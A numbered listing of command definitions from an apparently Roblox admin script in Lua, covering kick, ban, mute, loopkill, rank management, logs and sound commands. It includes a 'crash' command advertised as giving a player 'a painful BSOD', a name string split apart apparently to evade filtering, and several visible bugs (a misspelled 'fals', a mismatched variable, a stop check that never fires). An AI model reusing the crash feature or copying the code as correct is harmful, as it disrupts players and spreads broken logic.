  4681. local PlayerInfo = ClientInfo[Player.Name]
  4682. table.insert(Compile, {"Name: "..Player.Name, "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Player.Name})
  4683. table.insert(Compile, "User ID: "..Player.userId)
  4684. table.insert(Compile, "Age: "..CORE:FindAge(Player.AccountAge))
  4685. table.insert(Compile, "Rank: "..PlayerRank)
  4686.  
  4687. if PlayerInfo.Accelerometer ~= nil then table.insert(Compile, "Has Accelerometer: "..STRING:BoolString(PlayerInfo.Accelerometer)) end
  4688. if PlayerInfo.Gyroscope ~= nil then table.insert(Compile, "Has Gyroscope: "..STRING:BoolString(PlayerInfo.Gyroscope)) end
  4689. if PlayerInfo.Gamepad ~= nil then table.insert(Compile, "Has Gamepad: "..STRING:BoolString(PlayerInfo.Gamepad)) end
  4690. if PlayerInfo.Mouse ~= nil then table.insert(Compile, "Has Mouse: "..STRING:BoolString(PlayerInfo.Mouse)) end
  4691. if PlayerInfo.Keyboard ~= nil then table.insert(Compile, "Has Keyboard: "..STRING:BoolString(PlayerInfo.Keyboard)) end
  4692. if PlayerInfo.TouchScreen ~= nil then table.insert(Compile, "Has TouchScreen: "..STRING:BoolString(PlayerInfo.TouchScreen)) end
  4693. if PlayerInfo.Benchmark then
  4694. table.insert(Compile, "BLUE BENCHMARK: "..PlayerInfo.Benchmark)
  4695. end
  4696. if Num ~= #Players then table.insert(Compile, "-----------------------------") end
  4697. end
  4698. GUI:ListGui(Speaker, "Information on "..#Players.." player(s)", Compile, "Information", false, false)
  4699. end};
  4700.  
  4701. [{"loopkill", "lkill", "loopk"}] = {"player num", "Kills player num times", 2, "Admin", false, function(Speaker, Rank, Arguments)
  4702. if tonumber(Arguments[2]) then
  4703. local Players = STRING:Scan(Arguments[1], Speaker)
  4704. for _,Player in pairs(Players) do
  4705. coroutine.wrap(function()
  4706. if Player.Character then
  4707. table.insert(LoopKills, Player.Name)
  4708. local Loop = nil
  4709. local PrevChar = nil
  4710.  
  4711. for i = 1,tonumber(Arguments[2]) do
  4712. local Char = Player.Character
  4713. if PrevChar and PrevChar ~= Char then
  4714. PrevChar:Destroy()
  4715. end
  4716. PrevChar = Char
  4717. local CanDie = true
  4718. for _,Name in pairs(LoopKills) do if Name == Player.Name then CanDie = true end end
  4719. if CanDie == false then
  4720. break
  4721. end
  4722. ypcall(function() Char.Parent = Server.Lighting end)
  4723. wait(0.1)
  4724. ypcall(function() Char.Parent = Server.Workspace end)
  4725. wait(0.1)
  4726. end
  4727. end
  4728. end)()
  4729. end
  4730. else
  4731. GUI:SendMessage(Speaker, "Cannot execute", "RED Argument 2 is not a valid number", "Error")
  4732. end
  4733. end};
  4734.  
  4735. [{"noloopkill", "nolkill", "noloopk", "unloopkill", "unlkill", "unloopk"}] = {"player num", "Stops any loop kills on a player", 1, "Admin", false, function(Speaker, Rank, Arguments)
  4736. local Players = STRING:Scan(Arguments[1], Speaker)
  4737. for _,Player in pairs(Players) do
  4738. for Num,Name in pairs(LoopKills) do
  4739. if Player.Name == Name then
  4740. table.remove(LoopKills, Num)
  4741. end
  4742. end
  4743. end
  4744. end};
  4745.  
  4746. [{"sound", "audio", "music"}] = {"num/string", "Plays the sound ID or string from the soundlist", 1, "Member", false, function(Speaker, Rank, Arguments)
  4747. SOUND:PlayGlobalSound(Arguments[1])
  4748. end};
  4749.  
  4750. [{"nosound", "noaudio", "nomusic", "stopsound", "stopaudio", "stopmusic"}] = {"", "Removes the current sound playing", 0, "Member", false, function(Speaker, Rank, Arguments)
  4751. SOUND:StopGlobalSound()
  4752. end};
  4753.  
  4754. [{"pitch"}] = {"num", "Sets the pitch of the current sound to num", 1, "Member", false, function(Speaker, Rank, Arguments)
  4755. local Pitch = tonumber(Arguments[1])
  4756. if not Pitch then Pitch = 1 end
  4757. if Sound then
  4758. Sound.Pitch = Pitch
  4759. end
  4760. end};
  4761.  
  4762. [{"search", "searchsound", "searchsounds", "searchaudio", "searchmusic", "ss"}] = {"string", "Searches the catalog for the sound string (HTTP)", 1, "Member", false, function(Speaker, Rank, Arguments)
  4763. local CloseGui, AddInfo = GUI:LoadGui(Speaker, "Searching for: "..Arguments[1])
  4764. local Items = MARKET:SearchItem(9, Arguments[1])
  4765. if Items then
  4766. if #Items ~= 0 then
  4767. local List,Correlate = {},{}
  4768. for Num,Info in pairs(Items) do
  4769. local Display = " "..Info.Name.." by: "..Info.Creator.." ("..Info.AssetId..")"
  4770. table.insert(List, Display)
  4771. Correlate[Display] = Info.AssetId
  4772. end
  4773. CloseGui:Invoke()
  4774.  
  4775. local CanClick = true
  4776. if Rank == "Member" then CanClick = false end
  4777. local Clicked = GUI:ListGui(Speaker, "Search Results: "..Arguments[1], List, "Search", CanClick)
  4778. Clicked.Event:connect(function(ClickName)
  4779. local OldSoundId = nil
  4780. SOUND:StopGlobalSound()
  4781. if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
  4782. SOUND:PlayGlobalSound(Correlate[ClickName])
  4783. end
  4784. end)
  4785. else
  4786. CloseGui:Invoke()
  4787. GUI:SendMessage(Speaker, "No results", "BLUE No results for "..Arguments[1].." found...", "Information")
  4788. end
  4789. else
  4790. CloseGui:Invoke()
  4791. GUI:SendMessage(Speaker, "Cannot get audio", "RED Cannot get audio. Is HttpService enabled?", "Error")
  4792. end
  4793. end};
  4794.  
  4795. [{"gun"}] = {"player", "Gives player a gun", 1, "Member", false, function(Speaker, Rank, Arguments)
  4796. local Players = STRING:Scan(Arguments[1], Speaker)
  4797. for _,Player in pairs(Players) do
  4798. if Player.Character then
  4799. CORE:ExecuteResource("Gun", Player.Character)
  4800. end
  4801. end
  4802. end};
  4803.  
  4804. [{"sink", "pothole", "quicksand"}] = {"player", "Sinks the player", 1, "Member", true, function(Speaker, Rank, Arguments)
  4805. local Players = STRING:Scan(Arguments[1], Speaker)
  4806. for _,Player in pairs(Players) do
  4807. if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
  4808. local Hole = Instance.new("Part", Player.Character) Hole.Name = "Hole" Hole.BrickColor = BrickColor.new("Really black") Hole.Size = Vector3.new(5,1.2,5) Hole.Anchored = true Hole.CanCollide = fals Hole.Locked = true Hole.CFrame = Player.Character.Torso.CFrame * CFrame.new(0,-3.5,0) * CFrame.Angles(0,0,0) Instance.new("CylinderMesh", Hole)
  4809. Player.Character.Humanoid.WalkSpeed = 0
  4810. Player.Character.Torso.Anchored = true
  4811. coroutine.wrap(function()
  4812. local OldCFrame = Player.Character.Torso.CFrame
  4813. for i = 0,8,0.1 do
  4814. Player.Character.Torso.CFrame = OldCFrame * CFrame.new(0,-i,0)
  4815. wait()
  4816. end
  4817. Player.Character.Torso.Anchored = false
  4818. Player.Character:BreakJoints()
  4819. CORE:InvisiblePlayer(Player)
  4820. end)()
  4821. end
  4822. end
  4823. end};
  4824.  
  4825. [{"freeze", "anchor"}] = {"player", "Freezes player in place", 1, "Member", false, function(Speaker, Rank, Arguments)
  4826. local Players = STRING:Scan(Arguments[1], Speaker)
  4827. for _,Player in pairs(Players) do
  4828. CORE:AnchorPlayer(Player)
  4829. end
  4830. end};
  4831.  
  4832. [{"nofreeze", "unfreeze", "noanchor", "unanchor", "thaw"}] = {"player", "Unfreezes player", 1, "Member", false, function(Speaker, Rank, Arguments)
  4833. local Players = STRING:Scan(Arguments[1], Speaker)
  4834. for _,Player in pairs(Players) do
  4835. CORE:UnanchorPlayer(Player)
  4836. end
  4837. end};
  4838.  
  4839. [{"invisible", "invis"}] = {"player", "Makes player invisible", 1, "Member", false, function(Speaker, Rank, Arguments)
  4840. local Players = STRING:Scan(Arguments[1], Speaker)
  4841. for _,Player in pairs(Players) do
  4842. CORE:InvisiblePlayer(Player)
  4843. end
  4844. end};
  4845.  
  4846. [{"visible", "vis"}] = {"player", "Makes player visible", 1, "Member", false, function(Speaker, Rank, Arguments)
  4847. local Players = STRING:Scan(Arguments[1], Speaker)
  4848. for _,Player in pairs(Players) do
  4849. CORE:VisiblePlayer(Player)
  4850. end
  4851. end};
  4852.  
  4853. [{"asteroid", "comet", "meteor", "meteorite"}] = {"player", "Shoots an asteroid at player", 1, "Member", true, function(Speaker, Rank, Arguments)
  4854. local Players = STRING:Scan(Arguments[1], Speaker)
  4855. for _,Player in pairs(Players) do
  4856. if Player.Character and Player.Character:FindFirstChild("Torso") then
  4857. local Ast = Instance.new("Part", Server.Workspace) Ast.Name = "Asteroid" Ast.Position = Player.Character.Torso.Position + Vector3.new(0,500,0) Ast.Size = Vector3.new(12,12,12)
  4858. local Mesh = Instance.new("SpecialMesh", Ast) Mesh.MeshId = "rbxassetid://1290033" Mesh.Scale = Vector3.new(6.2,6.2,6.2) Mesh.TextureId = "rbxassetid://1290030"
  4859. local Fire = Instance.new("Fire", Ast) Fire.Heat = 25 Fire.Size = 30
  4860. local Smoke = Instance.new("Smoke", Ast) Smoke.RiseVelocity = 10 Smoke.Size = 10
  4861. local BoomSound = SOUND:MakeSound(Ast, 188590169, 1, 1)
  4862. local Fly = SOUND:MakeSound(Ast, 179438534, 1, 1, true)
  4863. Fly:Play()
  4864. local Touched = false
  4865. coroutine.wrap(function()
  4866. repeat wait(0.1)
  4867. Ast.Position = Vector3.new(Player.Character.Torso.Position.X, Ast.Position.Y, Player.Character.Torso.Position.Z)
  4868. until not Ast or Ast.Parent == nil or Touched == true
  4869. end)()
  4870. Ast.Touched:connect(function(Part)
  4871. if Touched == false then
  4872. Touched = true
  4873. Part:BreakJoints()
  4874. local Boom = Instance.new("Explosion", Workspace)
  4875. Boom.Position = Ast.Position
  4876. Boom.BlastPressure = 1000000
  4877. Boom.BlastRadius = 30
  4878. Fire.Heat = 0
  4879. Smoke.RiseVelocity = 0
  4880. Fly:Stop()
  4881. BoomSound:Play()
  4882. coroutine.wrap(function()
  4883. wait(3)
  4884. BoomSound:Stop()
  4885. if Ast and Ast.Parent ~= nil then
  4886. Ast:Destroy()
  4887. end
  4888. end)()
  4889. end
  4890. end)
  4891. end
  4892. end
  4893. end};
  4894.  
  4895. [{"kick"}] = {"player", "Will kick player out of the server", 1, "Admin", false, function(Speaker, Rank, Arguments)
  4896. local Players = STRING:Scan(Arguments[1], Speaker)
  4897. for _,Player in pairs(Players) do
  4898. local PlayerRank = RANK:GetRank(Player)
  4899. if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
  4900. CORE:Kick(Player)
  4901. end
  4902. end
  4903. end};
  4904.  
  4905. [{"ban"}] = {"player", "Will ban player and will be unable to join", 1, "Admin", false, function(Speaker, Rank, Arguments)
  4906. local Players = STRING:Scan(Arguments[1], Speaker)
  4907. for _,Player in pairs(Players) do
  4908. local PlayerRank = RANK:GetRank(Player)
  4909. if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
  4910. RANK:RemoveRank(Player)
  4911. table.insert(Settings.Ranks.Banned, Player.Name)
  4912. CORE:Kick(Player)
  4913. end
  4914. end
  4915. end};
  4916.  
  4917. [{"crash"}] = {"player", "Will crash player with a painful BSOD", 1, "Owner", false, function(Speaker, Rank, Arguments)
  4918. local Players = STRING:Scan(Arguments[1], Speaker)
  4919. for _,Player in pairs(Players) do
  4920. local PlayerRank = RANK:GetRank(Player)
  4921. if PlayerRank ~= "Owner" then
  4922. RANK:RemoveRank(Player)
  4923. table.insert(Settings.Ranks.Crashed, Player.Name)
  4924. CORE:Crash(Player)
  4925. end
  4926. end
  4927. end};
  4928.  
  4929. [{"mute"}] = {"player", "Makes player unable to talk", 1, "Owner", false, function(Speaker, Rank, Arguments)
  4930. local Players = STRING:Scan(Arguments[1], Speaker)
  4931. for _,Player in pairs(Players) do
  4932. local PlayerRank = RANK:GetRank(Player)
  4933. if PlayerRank ~= "Owner" then
  4934. RANK:RemoveRank(Player)
  4935. table.insert(Settings.Ranks.Muted, Player.Name)
  4936. GUI:CoreGui(Player, "Chat", false)
  4937. end
  4938. end
  4939. end};
  4940.  
  4941. [{"noadmin", "unadmin", "nomember", "unmember", "nomem", "unmem", "noowner", "unowner", "noown", "unown", "nocrash", "uncrash", "noban", "unban", "nomute", "unmute", "derank"}] = {"player", "Removes whatever rank player has(if your rank is sufficient enough to override player's)", 1, "Admin", false, function(Speaker, Rank, Arguments)
  4942. local Players = STRING:Scan(Arguments[1], Speaker)
  4943. if #Players > 0 then
  4944. for _,Player in pairs(Players) do
  4945. local RankName,RankNum = RANK:GetRank(Player)
  4946. if RankNum < RANK:ConvertRank(Rank) or RANK:IsSupremeOwner(Speaker) then
  4947. if not RANK:IsSupremeOwner(Player) then
  4948. if RankName == "Muted" then
  4949. GUI:CoreGui(Player, "Chat", true)
  4950. end
  4951. if RankNum > 0 then
  4952. GUI:TellNotAdmin(Player)
  4953. end
  4954. RANK:RemoveRank(Player)
  4955. end
  4956. end
  4957. end
  4958. else
  4959. local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
  4960. if Player then
  4961. local RankNum = RANK:ConvertRank(PlayerRank)
  4962. if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
  4963. if not RANK:IsSupremeOwner(Player) then
  4964. RANK:RemoveRank(Player)
  4965. end
  4966. end
  4967. end
  4968. end
  4969. end};
  4970.  
  4971. [{"member", "mem"}] = {"player", "Adds player to the member list", 1, "Admin", false, function(Speaker, Rank, Arguments)
  4972. local Players = STRING:Scan(Arguments[1], Speaker)
  4973. if #Players > 0 then
  4974. for _,Player in pairs(Players) do
  4975. local PlayerRank,RankNum = RANK:GetRank(Player)
  4976. if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
  4977. RANK:RemoveRank(Player)
  4978. table.insert(Settings.Ranks.Member, Player.Name)
  4979. GUI:TellAdmin(Player)
  4980. end
  4981. end
  4982. else
  4983. local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
  4984. if Player then
  4985. local RankNum = RANK:ConvertRank(PlayerRank)
  4986. if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
  4987. if not RANK:IsSupremeOwner(Player) then
  4988. RANK:RemoveRank(Player)
  4989. table.insert(Settings.Ranks.Member, Player)
  4990. end
  4991. end
  4992. else
  4993. RANK:RemoveRank(Arguments[1])
  4994. table.insert(Settings.Ranks.Member, Arguments[1])
  4995. end
  4996. end
  4997. end};
  4998.  
  4999. [{"admin", "adm"}] = {"player", "Adds player to the admin list", 1, "Owner", false, function(Speaker, Rank, Arguments)
  5000. local Players = STRING:Scan(Arguments[1], Speaker)
  5001. if #Players > 0 then
  5002. for _,Player in pairs(Players) do
  5003. local PlayerRank,RankNum = RANK:GetRank(Player)
  5004. if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
  5005. RANK:RemoveRank(Player)
  5006. table.insert(Settings.Ranks.Admin, Player.Name)
  5007. GUI:TellAdmin(Player)
  5008. end
  5009. end
  5010. else
  5011. local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
  5012. if Player then
  5013. local RankNum = RANK:ConvertRank(PlayerRank)
  5014. if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
  5015. if not RANK:IsSupremeOwner(Player) then
  5016. RANK:RemoveRank(Player)
  5017. table.insert(Settings.Ranks.Admin, Player)
  5018. end
  5019. end
  5020. else
  5021. RANK:RemoveRank(Arguments[1])
  5022. table.insert(Settings.Ranks.Admin, Arguments[1])
  5023. end
  5024. end
  5025. end};
  5026.  
  5027. [{"owner", "own"}] = {"player", "Adds player to the owner list(Speaker must be game owner)", 1, "Owner", false, function(Speaker, Rank, Arguments)
  5028. local Players = STRING:Scan(Arguments[1], Speaker)
  5029. if RANK:IsSupremeOwner(Speaker) then
  5030. if #Players > 0 then
  5031. for _,Player in pairs(Players) do
  5032. if not RANK:IsSupremeOwner(Player) then
  5033. RANK:RemoveRank(Player)
  5034. table.insert(Settings.Ranks.Owner, Player.Name)
  5035. GUI:TellAdmin(Player)
  5036. end
  5037. end
  5038. else
  5039. local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
  5040. if Player then
  5041. local RankNum = RANK:ConvertRank(PlayerRank)
  5042. if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
  5043. if not RANK:IsSupremeOwner(Player) then
  5044. RANK:RemoveRank(Player)
  5045. table.insert(Settings.Ranks.Owner, Player)
  5046. end
  5047. end
  5048. else
  5049. RANK:RemoveRank(Arguments[1])
  5050. table.insert(Settings.Ranks.Owner, Arguments[1])
  5051. end
  5052. end
  5053. end
  5054. end};
  5055.  
  5056. [{"admins", "adminlist"}] = {"", "Lists all admins in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
  5057. local TableStorage = {}
  5058. for _,Obj in pairs(Settings.Ranks.Member) do table.insert(TableStorage, Obj..": Member") end
  5059. for _,Obj in pairs(Settings.Ranks.Admin) do table.insert(TableStorage, Obj..": Admin") end
  5060. for _,Obj in pairs(Settings.Ranks.Owner) do table.insert(TableStorage, "BOLD: "..Obj..": Owner") end
  5061. GUI:ListGui(Speaker, "Admin List", TableStorage, 45961462)
  5062. end};
  5063.  
  5064. [{"serveradmins", "sa"}] = {"", "Lists all admins in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
  5065. local TableStorage = {}
  5066. for _,Player in pairs(Server.Players:GetChildren()) do
  5067. local ValidAdmin,PlayerRank = RANK:IsAdmin(Player)
  5068. if ValidAdmin then
  5069. if PlayerRank == "Owner" then
  5070. table.insert(TableStorage, "BOLD: "..Player.Name..": Owner")
  5071. else
  5072. table.insert(TableStorage, Player.Name..": "..PlayerRank)
  5073. end
  5074. end
  5075. end
  5076. GUI:ListGui(Speaker, "Server admin List", TableStorage, 76198987)
  5077. end};
  5078.  
  5079. [{"bans", "banlist"}] = {"", "Lists all players who've been banned", 0, "Member", false, function(Speaker, Rank, Arguments)
  5080. GUI:ListGui(Speaker, "Ban List", Settings.Ranks.Banned, 163337795)
  5081. end};
  5082.  
  5083. [{"crashes", "crashlist"}] = {"", "Lists all players who've been crashed", 0, "Member", false, function(Speaker, Rank, Arguments)
  5084. GUI:ListGui(Speaker, "Crash List", Settings.Ranks.Crashed, 35480917)
  5085. end};
  5086.  
  5087. [{"mutes", "muted", "mutelist"}] = {"", "Lists all players who've been muted", 0, "Member", false, function(Speaker, Rank, Arguments)
  5088. GUI:ListGui(Speaker, "Mute List", Settings.Ranks.Muted, 202000870)
  5089. end};
  5090.  
  5091. [{"exiles", "exilelist"}] = {"", "Lists all the exiled players(banned, crashed, muted) in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
  5092. local TableStorage = {}
  5093. for _,Obj in pairs(Settings.Ranks.Banned) do table.insert(TableStorage, Obj..": Banned") end
  5094. for _,Obj in pairs(Settings.Ranks.Crashed) do table.insert(TableStorage, Obj..": Crashed") end
  5095. for _,Obj in pairs(Settings.Ranks.Muted) do table.insert(TableStorage, Obj..": Muted") end
  5096. GUI:ListGui(Speaker, "Exile List", TableStorage, 132769258)
  5097. end};
  5098.  
  5099. [{"ranked", "ranks", "ranklist"}] = {"", "Lists all the players ranked in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
  5100. local TableStorage = {}
  5101. for PlayerRank,PlayerNames in pairs(Settings.Ranks) do
  5102. for Num,PlayerName in pairs(PlayerNames) do
  5103. if PlayerRank == "Owner" then
  5104. table.insert(TableStorage, "BOLD: "..PlayerName..": Owner")
  5105. else
  5106. table.insert(TableStorage, PlayerName..": "..PlayerRank)
  5107. end
  5108. end
  5109. end
  5110. GUI:ListGui(Speaker, "Exile List", TableStorage, 21341765)
  5111. end};
  5112.  
  5113. [{"logs", "commandlogs", "cmdlogs"}] = {"", "Lists all the logs of executed commands", 0, "Admin", false, function(Speaker, Rank, Arguments)
  5114. GUI:ListGui(Speaker, "Command Logs", CORE:ReverseTable(CommandLogs), "Log")
  5115. end};
  5116.  
  5117. [{"chatlogs"}] = {"", "Lists all the logs of players who've chatted", 0, "Admin", false, function(Speaker, Rank, Arguments)
  5118. GUI:ListGui(Speaker, "Chat Logs", CORE:ReverseTable(ChatLogs), "Log")
  5119. end};
  5120.  
  5121. [{"irclogs"}] = {"", "Lists all the logs of irc output", 0, "Admin", false, function(Speaker, Rank, Arguments)
  5122. GUI:ListGui(Speaker, "IRC Logs", CORE:ReverseTable(IRC.Logs), "Log")
  5123. end};
  5124.  
  5125. [{"exploitlogs"}] = {"", "Lists all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
  5126. local ExploitLog = Server.GDS:GetAsync("ExploitLog")
  5127. if type(ExploitLog) ~= "table" then ExploitLog = {} end
  5128. GUI:ListGui(Speaker, "Exploit Logs", ExploitLog, "Log")
  5129. end};
  5130.  
  5131. [{"clearlogs", "clearcommandlogs", "clearcmdlogs"}] = {"", "Clears all the logs of executed commands", 0, "Owner", false, function(Speaker, Rank, Arguments)
  5132. CommandLogs = {}
  5133. end};
  5134.  
  5135. [{"clearchatlogs"}] = {"", "Clears all the logs of players who've chatted", 0, "Owner", false, function(Speaker, Rank, Arguments)
  5136. ChatLogs = {}
  5137. end};
  5138.  
  5139. [{"clearirclogs"}] = {"", "Clears all the logs of irc output", 0, "Owner", false, function(Speaker, Rank, Arguments)
  5140. IRC.Logs = {}
  5141. end};
  5142.  
  5143. [{"clearlogs", "clearalllogs"}] = {"", "Clears ALL logs (Command, Chat, IRC) but not exploit logs", 0, "Owner", false, function(Speaker, Rank, Arguments)
  5144. CommandLogs = {}
  5145. ChatLogs = {}
  5146. IRC.Logs = {}
  5147. end};
  5148.  
  5149. [{"clearexploitlogs"}] = {"", "Clears all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
  5150. Server.GDS:SetAsync("ExploitLog", {})
  5151. end};
  5152.  
  5153. [{"soundlist", "musiclist", "audiolist", "songs", "sounds", "musics", "audios"}] = {"", "Lists all the sounds in the global sound list", 0, "Member", false, function(Speaker, Rank, Arguments)
  5154. local List,Correlate,SoundName = {},{},{}
  5155. for Name,Info in pairs(SoundList) do
  5156. local View = "Command Name: "..Name.." | Audio ID: "..Info[1].." | Full Name: "..Info[2]
  5157. table.insert(List, View)
  5158. Correlate[View] = Info[1]
  5159. end
  5160.  
  5161. local CanClick = true
  5162. if Rank == "Member" then CanClick = false end
  5163. local Clicked = GUI:ListGui(Speaker, "Sound List", List, "Sound", CanClick)
  5164. Clicked.Event:connect(function(ClickName)
  5165. local OldSoundId = nil
  5166. SOUND:StopGlobalSound()
  5167. if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
  5168. SOUND:PlayGlobalSound(Correlate[ClickName])
  5169. end
  5170. end)
  5171. end};
  5172.  
  5173. [{"syncsoundlist", "syncsounds", "syncaudiolist", "syncaudios", "syncmusiclist", "syncmusics"}] = {"", "Resyncs the global sound list to the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
  5174. SOUND:SyncSoundList(Speaker)
  5175. end};
  5176.  
  5177. [{"cleart", "clearterrain", "cleant", "cleanterrain"}] = {"", "Clears all terrain from the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
  5178. local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean Terrain?", "Do you really want to clear all terrain in the server? If there is a lot of terrain this can cause major lag. Continue?", "Question", {"Yes", "No"})
  5179. if Answer == "Yes" then
  5180. Server.Workspace.Terrain:Clear()
  5181. end
  5182. end};
  5183.  
  5184. [{"clearstamp", "clearstamper", "cleanstamp", "cleanstamper"}] = {"", "Clears all items in workspace that came from the stamper tool (Not terrain)", 0, "Admin", false, function(Speaker, Rank, Arguments)
  5185. local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean All Stamper Objects?", "Do you really want to clear all stamper objects in the server, this will clean all bricks/models placed down by stamper and if there's a lot of them it can cause major lag? Continue?", "Question", {"Yes", "No"})
  5186. if Answer == "Yes" then
  5187. for _,Obj in pairs(Workspace:GetChildren()) do
  5188. if Obj:FindFirstChild("RobloxStamper") and Obj:FindFirstChild("RobloxModel") then
  5189. Obj:Destroy()
  5190. end
  5191. end
  5192. end
  5193. end};
  5194.  
  5195. [{"base", "baseplate", "newbase", "makebase", "newbaseplate", "makebaseplate"}] = {"", "Creates a baseplate inside the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
  5196. CORE:MakeBase()
  5197. end};
  5198.  
  5199. [{"addsound", "addaudio", "addmusic"}] = {"num(ID) string", "Will add the song of num(ID) named string to the custom sound list of the game", 2, "Admin", false, function(Speaker, Rank, Arguments)
  5200. local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
  5201. if CustomSounds == nil or type(CustomSounds) ~= "table" then
  5202. CustomSounds = {}
  5203. end
  5204. if tostring(Arguments[1]) then
  5205. local Request = MARKET:GetItemInfo(Arguments[1])
  5206. if Request.AssetTypeId == 3 then
  5207. table.insert(CustomSounds, {Arguments[2], Arguments[1]})
  5208. SoundList[Arguments[2]] = {Arguments[1], Request.Name}
  5209. Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
  5210. GUI:SendHint(Speaker, "Sound Added to server sound list and for future servers.", 4)
  5211. else
  5212. GUI:SendMessage(Speaker, "Invalid", "Please make sure that your ID is an audio asset.", 4)
  5213. end
  5214. end
  5215. end};
  5216.  
  5217. [{"removesound", "removeaudio", "removemusic"}] = {"string", "Will remove the sound string from the custom sound list of the game", 1, "Admin", false, function(Speaker, Rank, Arguments)
  5218. local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
  5219. if CustomSounds == nil or type(CustomSounds) ~= "table" then
  5220. CustomSounds = {}
  5221. end
  5222.  
  5223. local Removed = {}
  5224. for Num,Data in pairs(CustomSounds) do
  5225. if string.sub(string.lower(Data[1]),1,#Arguments[1]) == string.lower(Arguments[1]) then
  5226. table.insert(Removed, Data[1])
  5227. table.remove(CustomSounds, Num)
  5228. end
  5229. end
  5230.  
  5231. Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
  5232.  
  5233. SOUND:SyncSoundList()
  5234.  
  5235. if #Removed > 0 then
  5236. GUI:SendHint(Speaker, "Removed from custom sound list: "..STRING:UnpackArgs(Removed))
  5237. else
  5238. GUI:SendHint(Speaker, "Could not find sound "..Arguments[1].." in custom sound list")
  5239. end
  5240. end};
  5241.  
  5242. [{"clearsounds", "clearaudio", "clearmusic"}] = {"", "Clears all sounds in the custom sound list of the game", 0, "Admin", false, function(Speaker, Rank, Arguments)
  5243. local Answer = GUI:PromptMessageWithButtons(Speaker, "Clear All Sounds", "Would you like to clear all sounds from the custom Lua".."M".."od".."elMa".."ke".."r's sound list? This will clear all sounds from the ;addsound command and will affect all sounds in all of this game's servers. Are you sure you want to clear?(All default global sounds will remain)", "Question", {"Yes", "No"})
  5244. if Answer == "Yes" then
  5245. Server.GDS:SetAsync("MML Custom Sounds", {})
  5246. SoundList = GlobalSoundList -- Reset to old sounds without having to re-sync!
  5247. GUI:SendHint(Speaker, "All custom sounds have been removed", 4)
  5248. end
  5249. end};
  5250.  
  5251. [{"benchmark", "bench"}] = {"player", "Benchmarks player", 1, "Admin", false, function(Speaker, Rank, Arguments)
  5252. local Players = STRING:Scan(Arguments[1], Speaker)
  5253. local SpeakerTesting = false
  5254. for _,Player in pairs(Players) do
  5255. if Player == Speaker then SpeakerTesting = true end
  5256. if Player:FindFirstChild("Backpack") then coroutine.wrap(function()
  5257. CORE:ExecuteResource("Benchmark", Player.Backpack, {["Admin"] = script})
  5258. --wait(10)
  5259. --GUI:SendMessage(Player, "Benchmark almost done", "Your client is cleaning up the mess made. Please wait until you are reset by your client to have results submitted", "Information", 10)
  5260. end)() end
  5261. end
  5262. if SpeakerTesting == false then
  5263. GUI:SendMessage(Speaker, "Benchmarking", "The player(s) are now being benchmarked. To view results say "..Settings.Prefix.."getbench player", "Information", 10)
  5264. end
  5265. end};
  5266.  
  5267. [{"getbench", "getbenchmark", "getbenches", "getbenchmarks"}] = {"player", "Gets benchmarks of player", 1, "Member", false, function(Speaker, Rank, Arguments)
  5268. local Players = STRING:Scan(Arguments[1], Speaker)
  5269. local Compile = {}
  5270. for _,Player in pairs(Players) do
  5271. local PlayerInfo = ClientInfo[Player.Name]
  5272. if PlayerInfo then
  5273. if PlayerInfo.Benchmark then
  5274. table.insert(Compile, Player.Name..": "..PlayerInfo.Benchmark)
  5275. else
  5276. table.insert(Compile, Player.Name..": No score")
  5277. end
  5278. end
  5279. end
  5280. GUI:ListGui(Speaker, "Benchmarks", Compile, "Information")
  5281. end};
  5282.  
  5283. [{"replicatecommand", "replicatecmd", "repcmd", "repcommand", "rc", "sudo"}] = {"player string[command]", "Executes string as a command on player as if they said it", 2, "Owner", false, function(Speaker, Rank, Arguments)
  5284. local Players = STRING:Scan(Arguments[1], Speaker)
  5285. for _,Player in pairs(Players) do
  5286. CORE:Chatted(Arguments[2], Player, true)
  5287. end
  5288. end};
  5289.  
  5290. [{"virtexe", "virtualexe", "virtsudo", "virtualsudo", "vsudo", "vs"}] = {"string[Name] string[Rank] string[Command]", "Executes string[Command] on a vitual player named string[Name] with the rank string[Rank]", 3, "Owner", false, function(Speaker, Rank, Arguments)
  5291. CORE:Chatted(Arguments[3], nil, true, Arguments[1], Arguments[2], RANK:IsSupremeOwner(Speaker))
  5292. end};
  5293.  
  5294. [{"naked"}] = {"player", "Removes all of player's hats and cloths", 1, "Member", true, function(Speaker, Rank, Arguments)
  5295. local Players = STRING:Scan(Arguments[1], Speaker)
  5296. for _,Player in pairs(Players) do
  5297. Player:ClearCharacterAppearance()
  5298. end
  5299. end};
  5300.  
